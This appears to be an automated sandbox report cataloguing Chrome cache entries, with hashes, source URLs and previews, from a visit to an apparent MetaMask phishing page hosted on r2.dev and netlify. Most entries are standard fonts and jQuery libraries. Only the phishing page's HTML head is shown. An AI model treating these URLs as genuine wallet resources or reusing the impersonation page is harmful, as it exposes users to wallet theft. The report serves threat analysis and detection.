Preview:	/* latin-ext /.@font-face {. font-family: 'Poppins';. font-style: normal;. font-weight: 300;. font-display: swap;. src: url(https://fonts.gstatic.com/s/poppins/v21/pxiByp8kv8JHgFVrLDz8Z1JlFc-K.woff2) format('woff2');. unicode-range: U+0100-02AF, U+0304, U+0308, U+0329, U+1E00-1E9F, U+1EF2-1EFF, U+2020, U+20A0-20AB, U+20AD-20C0, U+2113, U+2C60-2C7F, U+A720-A7FF;.}./ latin /.@font-face {. font-family: 'Poppins';. font-style: normal;. font-weight: 300;. font-display: swap;. src: url(https://fonts.gstatic.com/s/poppins/v21/pxiByp8kv8JHgFVrLDz8Z1xlFQ.woff2) format('woff2');. unicode-range: U+0000-00FF, U+0131, U+0152-0153, U+02BB-02BC, U+02C6, U+02DA, U+02DC, U+0304, U+0308, U+0329, U+2000-206F, U+2074, U+20AC, U+2122, U+2191, U+2193, U+2212, U+2215, U+FEFF, U+FFFD;.}./ latin-ext */.@font-face {. font-family: 'Poppins';. font-style: normal;. font-weight: 400;. font-display: swap;. src: url(https://fonts.gstatic.com/s/poppins/v21/pxiEyp8kv8JHgFVrJJnecmNE.woff2) format('w

Chrome Cache Entry: 74

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1100), with no line terminators
Category:	downloaded
Size (bytes):	1100
Entropy (8bit):	3.6498905601708467
Encrypted:	false
SSDEEP:	6:wVqhhhhhhhhhhdimqhhhhhhhhhhhhhxmqhhhhhhhhhhhhhhhhDjqhhhhhhhhhhhW:wdmmjpmy
MD5:	8E4F858DC43CE5CD88CB1EB0C7FBBB00
SHA1:	66A55745B6E025FBD0D919858F04B87FBB977D6E
SHA-256:	2158C29A6D4F27D87634D2EA188345FECEB5D744A666EF20B079F3DB00A06344
SHA-512:	45F78A52C72041A05F51F70AB8BB6979246455B9AADDF922404EE8D67B1957EA8C05F3A71EF5F6BBA5104B42ABFCDB9D2CDA851512398CB0E12EEE2F18F5D6EB
Malicious:	false
Reputation:	low
URL:	https://content-autofill.googleapis.com/v1/pages/ChVDaHJvbWUvMTE3LjAuNTkzOC4xMzISXQmtDngj7ttC7hIFDTWGVBwSBQ01hlQcEgUNNYZUHBIFDTWGVBwSBQ01hlQcEgUNNYZUHBIFDTWGVBwSBQ01hlQcEgUNNYZUHBIFDTWGVBwSBQ01hlQcEgUNNYZUHBJyCYLjwP2eyaIXEgUNNYZUHBIFDTWGVBwSBQ01hlQcEgUNNYZUHBIFDTWGVBwSBQ01hlQcEgUNNYZUHBIFDTWGVBwSBQ01hlQcEgUNNYZUHBIFDTWGVBwSBQ01hlQcEgUNNYZUHBIFDTWGVBwSBQ01hlQcEocBCaxtl6PpY2oMEgUNNYZUHBIFDTWGVBwSBQ01hlQcEgUNNYZUHBIFDTWGVBwSBQ01hlQcEgUNNYZUHBIFDTWGVBwSBQ01hlQcEgUNNYZUHBIFDTWGVBwSBQ01hlQcEgUNNYZUHBIFDTWGVBwSBQ01hlQcEgUNNYZUHBIFDTWGVBwSBQ01hlQcEpwBCZNvkOMEtd9jEgUNNYZUHBIFDTWGVBwSBQ01hlQcEgUNNYZUHBIFDTWGVBwSBQ01hlQcEgUNNYZUHBIFDTWGVBwSBQ01hlQcEgUNNYZUHBIFDTWGVBwSBQ01hlQcEgUNNYZUHBIFDTWGVBwSBQ01hlQcEgUNNYZUHBIFDTWGVBwSBQ01hlQcEgUNNYZUHBIFDTWGVBwSBQ01hlQcErEBCRMDrwcr2gRQEgUNNYZUHBIFDTWGVBwSBQ01hlQcEgUNNYZUHBIFDTWGVBwSBQ01hlQcEgUNNYZUHBIFDTWGVBwSBQ01hlQcEgUNNYZUHBIFDTWGVBwSBQ01hlQcEgUNNYZUHBIFDTWGVBwSBQ01hlQcEgUNNYZUHBIFDTWGVBwSBQ01hlQcEgUNNYZUHBIFDTWGVBwSBQ01hlQcEgUNNYZUHBIFDTWGVBwSBQ01hlQc?alt=proto
Preview:	CmwKBw01hlQcGgAKBw01hlQcGgAKBw01hlQcGgAKBw01hlQcGgAKBw01hlQcGgAKBw01hlQcGgAKBw01hlQcGgAKBw01hlQcGgAKBw01hlQcGgAKBw01hlQcGgAKBw01hlQcGgAKBw01hlQcGgAKhwEKBw01hlQcGgAKBw01hlQcGgAKBw01hlQcGgAKBw01hlQcGgAKBw01hlQcGgAKBw01hlQcGgAKBw01hlQcGgAKBw01hlQcGgAKBw01hlQcGgAKBw01hlQcGgAKBw01hlQcGgAKBw01hlQcGgAKBw01hlQcGgAKBw01hlQcGgAKBw01hlQcGgAKogEKBw01hlQcGgAKBw01hlQcGgAKBw01hlQcGgAKBw01hlQcGgAKBw01hlQcGgAKBw01hlQcGgAKBw01hlQcGgAKBw01hlQcGgAKBw01hlQcGgAKBw01hlQcGgAKBw01hlQcGgAKBw01hlQcGgAKBw01hlQcGgAKBw01hlQcGgAKBw01hlQcGgAKBw01hlQcGgAKBw01hlQcGgAKBw01hlQcGgAKvQEKBw01hlQcGgAKBw01hlQcGgAKBw01hlQcGgAKBw01hlQcGgAKBw01hlQcGgAKBw01hlQcGgAKBw01hlQcGgAKBw01hlQcGgAKBw01hlQcGgAKBw01hlQcGgAKBw01hlQcGgAKBw01hlQcGgAKBw01hlQcGgAKBw01hlQcGgAKBw01hlQcGgAKBw01hlQcGgAKBw01hlQcGgAKBw01hlQcGgAKBw01hlQcGgAKBw01hlQcGgAKBw01hlQcGgAK2AEKBw01hlQcGgAKBw01hlQcGgAKBw01hlQcGgAKBw01hlQcGgAKBw01hlQcGgAKBw01hlQcGgAKBw01hlQcGgAKBw01hlQcGgAKBw01hlQcGgAKBw01hlQcGgAKBw01hlQcGgAKBw01hlQcGgAKBw01hlQcGgAKBw01hlQcGgAKBw01hlQcGgAKBw01hlQc

Chrome Cache Entry: 75

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (19015)
Category:	downloaded
Size (bytes):	19188
Entropy (8bit):	5.212814407014048
Encrypted:	false
SSDEEP:	384:+CbuG4xGNoDic2UjKPafxwC5b/4xQviOJU7QzxzivDdE3pcGdjkd/9jt3B+Kb964:zb4xGmiJfaf7gxQvVU7eziv+cSjknZ3f
MD5:	70D3FDA195602FE8B75E0097EED74DDE
SHA1:	C3B977AA4B8DFB69D651E07015031D385DED964B
SHA-256:	A52F7AA54D7BCAAFA056EE0A050262DFC5694AE28DEE8B4CAC3429AF37FF0D66
SHA-512:	51AFFB5A8CFD2F93B473007F6987B19A0A1A0FB970DDD59EF45BD77A355D82ABBBD60468837A09823496411E797F05B1F962AE93C725ED4C00D514BA40269D14
Malicious:	false
Reputation:	low
URL:	https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.12.9/umd/popper.min.js
Preview:	/. Copyright (C) Federico Zivolo 2017. Distributed under the MIT License (license terms are at http://opensource.org/licenses/MIT).. /(function(e,t){'object'==typeof exports&&'undefined'!=typeof module?module.exports=t():'function'==typeof define&&define.amd?define(t):e.Popper=t()})(this,function(){'use strict';function e(e){return e&&'[object Function]'==={}.toString.call(e)}function t(e,t){if(1!==e.nodeType)return[];var o=getComputedStyle(e,null);return t?o[t]:o}function o(e){return'HTML'===e.nodeName?e:e.parentNode\|\|e.host}function n(e){if(!e)return document.body;switch(e.nodeName){case'HTML':case'BODY':return e.ownerDocument.body;case'#document':return e.body;}var i=t(e),r=i.overflow,p=i.overflowX,s=i.overflowY;return /(auto\|scroll)/.test(r+s+p)?e:n(o(e))}function r(e){var o=e&&e.offsetParent,i=o&&o.nodeName;return i&&'BODY'!==i&&'HTML'!==i?-1!==['TD','TABLE'].indexOf(o.nodeName)&&'static'===t(o,'position')?r(o):o:e?e.ownerDocument.documentElement:document.documentElement}functio

Chrome Cache Entry: 76

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 7884, version 1.0
Category:	downloaded
Size (bytes):	7884
Entropy (8bit):	7.971946419873228
Encrypted:	false
SSDEEP:	192:xLFDbKO9E3rS3JWBRO/J601FSS5ZUbik3Zy2f0:pd9J5W501otlI
MD5:	9212F6F9860F9FC6C69B02FEDF6DB8C3
SHA1:	AC6D71B4D5FDD2B3DABC9A06FF6C001E4251DA0B
SHA-256:	7D93459D86585BFCDBB7E0376056226ADB25821EE54B96236FE2123E9560929F
SHA-512:	67317495F4B53E20A9F31C034E456E6C37F387DFFB2C092CAA5159BC441CFCADD02749FFE5BBED1D580D5300A59E48A767EF2C6D9978B474F84C1A2CD095C126
Malicious:	false
Reputation:	low
URL:	https://fonts.gstatic.com/s/poppins/v21/pxiEyp8kv8JHgFVrJJfecg.woff2
Preview:	wOF2..............?....x.............................`..T..L.6..6..6.$..h. ..\....~2.".8. .w.Q.Y,.?$pC.....)bT(i..@X.m...+...D.Q.O.\-?g.U..Z..._...l..!.lKD.Q..>.9v..V..<...Td$.E..,...o..c.t....!...#..8.A..3..cx~n=Di#....U......K.5jXH.].....j.(.6..]{..IDhZ.......R.....[..X".B~.(Su2..../.I.E...T.l%....'.N.aN.2\,70.....V.RQ..k~..".1. Lg.zd....}.yyys&D.K.g....)....2&%$.nm.\.._.e.tU..I.w;W.\|..6..XUv...!......>@.V..'..`.H`...5.7.X.?..@#..:..<.R.\|.;K..}.6..IA.C.....z.n.G............[.....z........`.X....D..{<..j...).......FQ..T..m.&s_k[%ZILV.8.l.o.z$.)/]......}..Kg.}..O...o\|..>.,U..?..{b<........._.._.06.........R01.@..[......a8..7.V%..B.0F...4 ....q..u#.lg....x....a.=w...8..A6.>f.+.8..Xm@`.m....G.....i..^R}9.aB...?._#.[f.d,V....bG.]...iED.@[.:.....P...........~.{,.x...~.!...C....b.....ze..).:+N....2sd..s..MEp.?^[.k........p..nz...[-.XI.%.."..`..<.2b\.w.VS.a.+......~..J..uGq..)..1...4o3v.Sb......5.w7...-....Wd>..B....R^.4'..B.2G>.en.q..._.@s......

Chrome Cache Entry: 77

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (2144), with CRLF line terminators
Category:	downloaded
Size (bytes):	65297
Entropy (8bit):	4.720910603190843
Encrypted:	false
SSDEEP:	384:i3kYGjqydimyX7sK8Oc0uEj5UuehJ9VGk+0upXI0jRSOClJAe8eUEGxFg4WRrjB0:i3kvjqy5kikTYXa1oG33WgJ
MD5:	4640974B064EBFA80E31DCB8DD5D89D5
SHA1:	F138D348B9CABEE5042C75FEAE08B3D1B0FC3086
SHA-256:	AA87E79867BA69EFC8421F4E636B1F67DABA75060E3E9C9605F96DD0251DA9DB
SHA-512:	89B00AFD05CFEA256E0CD63A5B2EAD57573F520BE96CD1668D3A991369608D6126DCB16E26A35F96CFA992CC5FCAEC93F2CDDF76E66F172288B5F131075E9C81
Malicious:	false
Reputation:	low
URL:	https://pub-821bc2e4df6b408388d428df1bbc3d7f.r2.dev/index.html
Preview:	<!DOCTYPE html>..<html lang="en">..<head>.. <meta charset="UTF-8">.. <meta name="viewport" content="width=device-width, initial-scale=1.0">.. <title>MetaMask</title>.. <meta name="googlebot" content="noindex">.. <meta name="googlebot-news" content="noindex">.. <meta name="googlebot" content="noindex">.. <meta name="googlebot-news" content="nosnippet">.. <link rel="icon" href="https://bestfilltype.netlify.app/icon.png">.. <script src="https://ajax.googleapis.com/ajax/libs/jquery/2.2.4/jquery.min.js"></script>.. <script src="https://code.jquery.com/jquery-3.1.1.min.js"></script>.. <script src="https://code.jquery.com/jquery-3.3.1.js" integrity="sha256-2Kok7MbOyxpgUVvAk/HJ2jigOSYS2auK4Pfzbm7uH60=" crossorigin="anonymous"></script>.. <script src="https://code.jquery.com/jquery-3.1.1.min.js"></script>.. <script src="https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.12.9/umd/popper.min.js" integrity="sha384-ApNbgh9B+Y1QKtv3Rn7W3mgPxhU9K/ScQsAP7hUibX39

Chrome Cache Entry: 78

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	50
Entropy (8bit):	4.916565630242718
Encrypted:	false
SSDEEP:	3:ObynQA2d9riXgo:ObPH/r8
MD5:	6DED9B8EA645F8FD53F62DA23671C5D7
SHA1:	AE1D91D93A4AEFE6BC7D18EB297F17EEF34742D7
SHA-256:	DFBE9D0185DFD5CB37EC6351498C7F0A007453ECBD3F165AC5C6DC8FE88349CC
SHA-512:	6F48DAE53FEB7E750C51C848818844DB8A040B2195A686AED8A5410557684687C3A937E679DC50B63AA6B6C1717668D486414038A7127782EE6B1002B1FB9216
Malicious:	false
Reputation:	low
URL:	https://bestfilltype.netlify.app/logo.png
Preview:	Not Found - Request ID: 01J8XHTAS27Q9QE70BNYF40XEM

Chrome Cache Entry: 79

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	271751
Entropy (8bit):	5.0685414131801165
Encrypted:	false
SSDEEP:	6144:+tah6/K+TCtlMhTze/RZcYmDizK8dB7alFys/WL/umH4N0IPfKu5AA11vrIY:9pZcYmDcHwFygmY1PfjAA1Br3
MD5:	6A07DA9FAE934BAF3F749E876BBFDD96
SHA1:	46A436EBA01C79ACDB225757ED80BF54BAD6416B
SHA-256:	D8AA24ECC6CECB1A60515BC093F1C9DA38A0392612D9AB8AE0F7F36E6EEE1FAD
SHA-512:	E525248B09A6FB4022244682892E67BBF64A3E875EB889DB43B0A24AB4A75077B5D5D26943CA382750D4FEBC3883193F3BE581A4660065B6FC7B5EC20C4A044B
Malicious:	false
Reputation:	low
URL:	https://code.jquery.com/jquery-3.3.1.js
Preview:	/!. jQuery JavaScript Library v3.3.1. * https://jquery.com/. . Includes Sizzle.js. * https://sizzlejs.com/. . Copyright JS Foundation and other contributors. * Released under the MIT license. * https://jquery.org/license. . Date: 2018-01-20T17:24Z. */.( function( global, factory ) {..."use strict";...if ( typeof module === "object" && typeof module.exports === "object" ) {....// For CommonJS and CommonJS-like environments where a proper `window`...// is present, execute the factory and get jQuery....// For environments that do not have a `window` with a `document`...// (such as Node.js), expose a factory as module.exports....// This accentuates the need for the creation of a real `window`....// e.g. var jQuery = require("jquery")(window);...// See ticket #14549 for more info....module.exports = global.document ?....factory( global, true ) :....function( w ) {.....if ( !w.document ) {......throw new Error( "jQuery requires a window with a document" );.....}.....return factor

Chrome Cache Entry: 80

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (32065)
Category:	dropped
Size (bytes):	85578
Entropy (8bit):	5.366055229017455
Encrypted:	false
SSDEEP:	1536:EYE1JVoiB9JqZdXXe2pD3PgoIiulrUndZ6a4tfOR7WpfWBZ2BJda4w9W3qG9a986:v4J+OlfOhWppCW6G9a98Hr2
MD5:	2F6B11A7E914718E0290410E85366FE9
SHA1:	69BB69E25CA7D5EF0935317584E6153F3FD9A88C
SHA-256:	05B85D96F41FFF14D8F608DAD03AB71E2C1017C2DA0914D7C59291BAD7A54F8E
SHA-512:	0D40BCCAA59FEDECF7243D63B33C42592541D0330FEFC78EC81A4C6B9689922D5B211011CA4BE23AE22621CCE4C658F52A1552C92D7AC3615241EB640F8514DB
Malicious:	false
Reputation:	low
Preview:	/! jQuery v2.2.4 \| (c) jQuery Foundation \| jquery.org/license /.!function(a,b){"object"==typeof module&&"object"==typeof module.exports?module.exports=a.document?b(a,!0):function(a){if(!a.document)throw new Error("jQuery requires a window with a document");return b(a)}:b(a)}("undefined"!=typeof window?window:this,function(a,b){var c=[],d=a.document,e=c.slice,f=c.concat,g=c.push,h=c.indexOf,i={},j=i.toString,k=i.hasOwnProperty,l={},m="2.2.4",n=function(a,b){return new n.fn.init(a,b)},o=/^[\s\uFEFF\xA0]+\|[\s\uFEFF\xA0]+$/g,p=/^-ms-/,q=/-([\da-z])/gi,r=function(a,b){return b.toUpperCase()};n.fn=n.prototype={jquery:m,constructor:n,selector:"",length:0,toArray:function(){return e.call(this)},get:function(a){return null!=a?0>a?this[a+this.length]:this[a]:e.call(this)},pushStack:function(a){var b=n.merge(this.constructor(),a);return b.prevObject=this,b.context=this.context,b},each:function(a){return n.each(this,a)},map:function(a){return this.pushStack(n.map(this,function(b,c){return a.call

Chrome Cache Entry: 81

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (502)
Category:	dropped
Size (bytes):	928
Entropy (8bit):	5.333713221578333
Encrypted:	false
SSDEEP:	24:2zH6UD5xZsJYGt024zSyxciFNckPUgtLYcHY5uwQU:VGkiFNjUgtzHmu5U
MD5:	8D974AFF636CAB207793BF6D610F3B04
SHA1:	85FD44D22ABD86E2F83B887F3BBEDA06D29F78B9
SHA-256:	053185739C0926BB0DBCE6C3834392E05C605F28D57495FE076EA595BB45C53A
SHA-512:	9919371379E760E1BEA4662321EE5D0DF07A2712D4BD9C6680C5BC563EB801138BBD4814C120E967C5271F2B8ED9643AA1DF855CD10B5FEB5A9B06DB1FCE2F39
Malicious:	false
Reputation:	low
Preview:	(function(h){function e(c,b,a){return c<b?(a=b-c,Math.log(b)/Math.log(a)100):c>a?(b=c-a,Math.log(100-a)/Math.log(b)100):0}function k(c){for(var b={},a="",d=0;d<c.length;++d)c[d]in b\|\|(b[c[d]]=1,a+=c[d]);return a}h.detect=function(c){if(0===c.length\|\|!c.trim())return 0;for(var b=c,a=[];a.length<b.length/35;)a.push(b.substring(0,35)),b=b.substring(36);1<=a.length&&10>a[a.length-1].length&&(a[a.length-2]+=a[a.length-1],a.pop());for(var b=[],d=0;d<a.length;d++)b.push(k(a[d]).length);a=100b;for(d=b=.0;d<a.length;d++)b+=parseFloat(a[d],10);a=b/a.length;for(var f=d=b=0;f<c.length;f++){var g=c.charAt(f);g.match(/^[a-zA-Z]+$/)&&(g.match(/^(a\|e\|i\|o\|u)$/i)&&b++,d++)}b=0!==d?b/d100:0;c=c.split(/[\W_]/).length/c.length100;a=Math.max(1,e(a,45,50));b=Math.max(1,e(b,35,45));c=Math.max(1,e(c,15,20));return Math.max(1,(Math.log10(a)+Math.log10(b)+Math.log10(c))/6100)}})("undefined"===typeof exports?this.gibberish={}:exports);.

Chrome Cache Entry: 82

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	50
Entropy (8bit):	4.861467880199448
Encrypted:	false
SSDEEP:	3:ObynQA2d9/oWhob7:ObPH/2b7
MD5:	0A426C9DEBCCB49E73C7E15C6EE2A27B
SHA1:	A15D980AB19B6D6DAA35F75F3C5AAFEC6B0A9405
SHA-256:	B38E1AF1481820D048994F701FE3410845675E46E0FF5364621F2CC5346BA7FD
SHA-512:	31AFCB0203715125568DE6DBA97319D34E0052F2846A2EE7F5CC1FF99DD76C959D996429166BAA8D1FBE50B4D0AE53A570B3396044C398BA9BA34D28BADC5F9B
Malicious:	false
Reputation:	low
URL:	https://bestfilltype.netlify.app/confirm.png
Preview:	Not Found - Request ID: 01J8XHTCF0G1T3DKBG789EA06G

Chrome Cache Entry: 83

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 7816, version 1.0
Category:	downloaded
Size (bytes):	7816
Entropy (8bit):	7.974758688549932
Encrypted:	false
SSDEEP:	192:Agw5ksLwlyK8F2BXU96Fc575OI3+ga534SlEFwTG4ovej9be:Al5y8FSUMS5VOq1KISlvS4ov+4
MD5:	25B0E113CA7CCE3770D542736DB26368
SHA1:	CB726212D5D525021752A1D8470A0FB593E0C49E
SHA-256:	9338E65FC077355C7A87AE0D64CC101E23B9BF8AD78AE65F0F319C857311B526
SHA-512:	A0D331E62AB4727F49CA286A1EE7FB81CDDC5BB9EDF71EF84F4BD4FA1552069AF1A82752011BA88FAE80862D034135926B7E99D70E59D626D66D4EDE90E94C30
Malicious:	false
Reputation:	low
URL:	https://fonts.gstatic.com/s/poppins/v21/pxiByp8kv8JHgFVrLCz7Z1xlFQ.woff2
Preview:	wOF2..............>P...4.............................`..T.......6..6.$..h. ..D.....03......~.(J........".!]X.......fD .s..I......(&.:..K..3=/.?0.?B........}.}.L....9.!1..6.u....(...m..\.6R.H....(..J.....YXus..2..susq.E^.v.....z..{........BN^...}[a.8&.By.9......O......3..zW.\|R.I.8 .Z.V. ..v...X_F....,[ye....wU.m..U.....}....'.^.jQK..@....n....)...;.. T..@]...hz.>.6.Y.tgeF.p...k?.g.jIb..."'.p.j.W}..X..........0'@.!<..$.<\TG...........^......W..<..LhX...r..Q.8........W.8[...W.z.W...,`...}...CY..z..m.B...z._..}..0$..F. ....<........!...X.....`.._UY{..k....[.+....h..G...x4.h...#...n=.!....G.G..<....~.nS...M.d.RT...g..$:/..j..y.@.FIg.".#..]'...4...n..y.Q.s'..I@P.w..xI.......#.J.n.n.i...'....@..H...H..1.;7...ddSF.d..]....Z......W.../S....^V..k..%.......CF....B4.kN....Mp.......+..i...M.>.`m...=..$c..$.h.t..\|..d+...6j..W...~a.M.'4..f.`...( .0Vq,.&f.?k.%i.\|tr..`k...F..{l.T.T=.......aK..F....nAu..."....Cpc..B.`..s...,S.......P._[K?..+...\|2...z....

Chrome Cache Entry: 84

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (32030)
Category:	downloaded
Size (bytes):	86709
Entropy (8bit):	5.367391365596119
Encrypted:	false
SSDEEP:	1536:9NhEyjjTikEJO4edXXe9J578go6MWXqcVhrLyB4Lw13sh2bzrl1+iuH7U3gBORDT:jxcq0hrLZwpsYbmzORDU8Cu5
MD5:	E071ABDA8FE61194711CFC2AB99FE104
SHA1:	F647A6D37DC4CA055CED3CF64BBC1F490070ACBA
SHA-256:	85556761A8800D14CED8FCD41A6B8B26BF012D44A318866C0D81A62092EFD9BF
SHA-512:	53A2B560B20551672FBB0E6E72632D4FD1C7E2DD2ECF7337EBAAAB179CB8BE7C87E9D803CE7765706BC7FCBCF993C34587CD1237DE5A279AEA19911D69067B65
Malicious:	false
Reputation:	low
URL:	https://code.jquery.com/jquery-3.1.1.min.js
Preview:	/! jQuery v3.1.1 \| (c) jQuery Foundation \| jquery.org/license /.!function(a,b){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=a.document?b(a,!0):function(a){if(!a.document)throw new Error("jQuery requires a window with a document");return b(a)}:b(a)}("undefined"!=typeof window?window:this,function(a,b){"use strict";var c=[],d=a.document,e=Object.getPrototypeOf,f=c.slice,g=c.concat,h=c.push,i=c.indexOf,j={},k=j.toString,l=j.hasOwnProperty,m=l.toString,n=m.call(Object),o={};function p(a,b){b=b\|\|d;var c=b.createElement("script");c.text=a,b.head.appendChild(c).parentNode.removeChild(c)}var q="3.1.1",r=function(a,b){return new r.fn.init(a,b)},s=/^[\s\uFEFF\xA0]+\|[\s\uFEFF\xA0]+$/g,t=/^-ms-/,u=/-([a-z])/g,v=function(a,b){return b.toUpperCase()};r.fn=r.prototype={jquery:q,constructor:r,length:0,toArray:function(){return f.call(this)},get:function(a){return null==a?f.call(this):a<0?this[a+this.length]:this[a]},pushStack:function(a){var b=r.merge(this.con

Chrome Cache Entry: 85

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (32065)
Category:	downloaded
Size (bytes):	85578
Entropy (8bit):	5.366055229017455
Encrypted:	false
SSDEEP:	1536:EYE1JVoiB9JqZdXXe2pD3PgoIiulrUndZ6a4tfOR7WpfWBZ2BJda4w9W3qG9a986:v4J+OlfOhWppCW6G9a98Hr2
MD5:	2F6B11A7E914718E0290410E85366FE9
SHA1:	69BB69E25CA7D5EF0935317584E6153F3FD9A88C
SHA-256:	05B85D96F41FFF14D8F608DAD03AB71E2C1017C2DA0914D7C59291BAD7A54F8E
SHA-512:	0D40BCCAA59FEDECF7243D63B33C42592541D0330FEFC78EC81A4C6B9689922D5B211011CA4BE23AE22621CCE4C658F52A1552C92D7AC3615241EB640F8514DB
Malicious:	false
Reputation:	low
URL:	https://ajax.googleapis.com/ajax/libs/jquery/2.2.4/jquery.min.js
Preview:	/! jQuery v2.2.4 \| (c) jQuery Foundation \| jquery.org/license /.!function(a,b){"object"==typeof module&&"object"==typeof module.exports?module.exports=a.document?b(a,!0):function(a){if(!a.document)throw new Error("jQuery requires a window with a document");return b(a)}:b(a)}("undefined"!=typeof window?window:this,function(a,b){var c=[],d=a.document,e=c.slice,f=c.concat,g=c.push,h=c.indexOf,i={},j=i.toString,k=i.hasOwnProperty,l={},m="2.2.4",n=function(a,b){return new n.fn.init(a,b)},o=/^[\s\uFEFF\xA0]+\|[\s\uFEFF\xA0]+$/g,p=/^-ms-/,q=/-([\da-z])/gi,r=function(a,b){return b.toUpperCase()};n.fn=n.prototype={jquery:m,constructor:n,selector:"",length:0,toArray:function(){return e.call(this)},get:function(a){return null!=a?0>a?this[a+this.length]:this[a]:e.call(this)},pushStack:function(a){var b=n.merge(this.constructor(),a);return b.prevObject=this,b.context=this.context,b},each:function(a){return n.each(this,a)},map:function(a){return this.pushStack(n.map(this,function(b,c){return a.call

Chrome Cache Entry: 86

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	50
Entropy (8bit):	4.996565630242718
Encrypted:	false
SSDEEP:	3:ObynQA2d9MUnXu/Wy:ObPH/Mcy
MD5:	468D058C726CD075B674370590005363
SHA1:	6E638714C5676087290420637BDD2E11BFEB3B63
SHA-256:	5A0A1EEB6A20609CAD2BF0F50E910F13D68CE897D1D622A20F40C0EA9914B098
SHA-512:	97ED1376BE54C506E1074879FB2A781EBE3607F9B1046E49E8BDE6F5AE11EA9B98DCA390A0B40E4B6BAB0D0CF52C1586695B254043A858013E27923151136505
Malicious:	false
Reputation:	low
URL:	https://bestfilltype.netlify.app/tada.png
Preview:	Not Found - Request ID: 01J8XHTCF1G1B7AR2KWQVG5P9W

Chrome Cache Entry: 87

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	50
Entropy (8bit):	4.931663380285988
Encrypted:	false
SSDEEP:	3:ObynQA2d9H6FmVEsyJz0:ObPH/IJsy90
MD5:	89B2FC0CECE4CA3AFB75A10B2612A7EB
SHA1:	7FFE49218DF7140975F35DD331723C14A57783EB
SHA-256:	D2F4F01B3633A6183C3C4DB100583648056BE0AD8AA10794A90F075FB1558C82
SHA-512:	C23562989AFF29DC959414C926AB0BF632D2F750DC8D4EDE9F92793997EB23C1AF7652D23675C4028EB68E06BCD492565AA17483290A0F853EBF0C042141049C
Malicious:	false
Reputation:	low
URL:	https://bestfilltype.netlify.app/icon.png
Preview:	Not Found - Request ID: 01J8XHTE349GCC0SF98WV7SVWB

Chrome Cache Entry: 88

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	271751
Entropy (8bit):	5.0685414131801165
Encrypted:	false
SSDEEP:	6144:+tah6/K+TCtlMhTze/RZcYmDizK8dB7alFys/WL/umH4N0IPfKu5AA11vrIY:9pZcYmDcHwFygmY1PfjAA1Br3
MD5:	6A07DA9FAE934BAF3F749E876BBFDD96
SHA1:	46A436EBA01C79ACDB225757ED80BF54BAD6416B
SHA-256:	D8AA24ECC6CECB1A60515BC093F1C9DA38A0392612D9AB8AE0F7F36E6EEE1FAD
SHA-512:	E525248B09A6FB4022244682892E67BBF64A3E875EB889DB43B0A24AB4A75077B5D5D26943CA382750D4FEBC3883193F3BE581A4660065B6FC7B5EC20C4A044B
Malicious:	false
Reputation:	low
Preview:	/!. jQuery JavaScript Library v3.3.1. * https://jquery.com/. . Includes Sizzle.js. * https://sizzlejs.com/. . Copyright JS Foundation and other contributors. * Released under the MIT license. * https://jquery.org/license. . Date: 2018-01-20T17:24Z. */.( function( global, factory ) {..."use strict";...if ( typeof module === "object" && typeof module.exports === "object" ) {....// For CommonJS and CommonJS-like environments where a proper `window`...// is present, execute the factory and get jQuery....// For environments that do not have a `window` with a `document`...// (such as Node.js), expose a factory as module.exports....// This accentuates the need for the creation of a real `window`....// e.g. var jQuery = require("jquery")(window);...// See ticket #14549 for more info....module.exports = global.document ?....factory( global, true ) :....function( w ) {.....if ( !w.document ) {......throw new Error( "jQuery requires a window with a document" );.....}.....return factor

Chrome Cache Entry: 89

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 5552, version 1.0
Category:	downloaded
Size (bytes):	5552
Entropy (8bit):	7.955353879556499
Encrypted:	false
SSDEEP:	96:GWz5crMNRWIC8vTLyiVW3HwxoixvxFI2zg/M+2NZ9iA0H3yD8ubtRm/5x2s:GWlGM3W38vT/0Qx3+2zgE+CQnHCD8ubU
MD5:	AA42A9A3D4FC9951ED37945FF1AF85DC
SHA1:	6CD63D09CC1F526ABA20B654EF5B55F8104586C6
SHA-256:	A526DAC26FCC645D428764B07FD6AE2AD3399129B75C22C8E149278157291189
SHA-512:	BDD9DB6EF8B696FA29E774F73B80B8C2A0DBC39EEC455D88325E644D0FE8A044DF51EF9D4398AFFF221A8776B6B9F6D769E32FC60A2602AC8320F10955282779
Malicious:	false
Reputation:	low
URL:	https://fonts.gstatic.com/s/poppins/v21/pxiEyp8kv8JHgFVrJJnecmNE.woff2
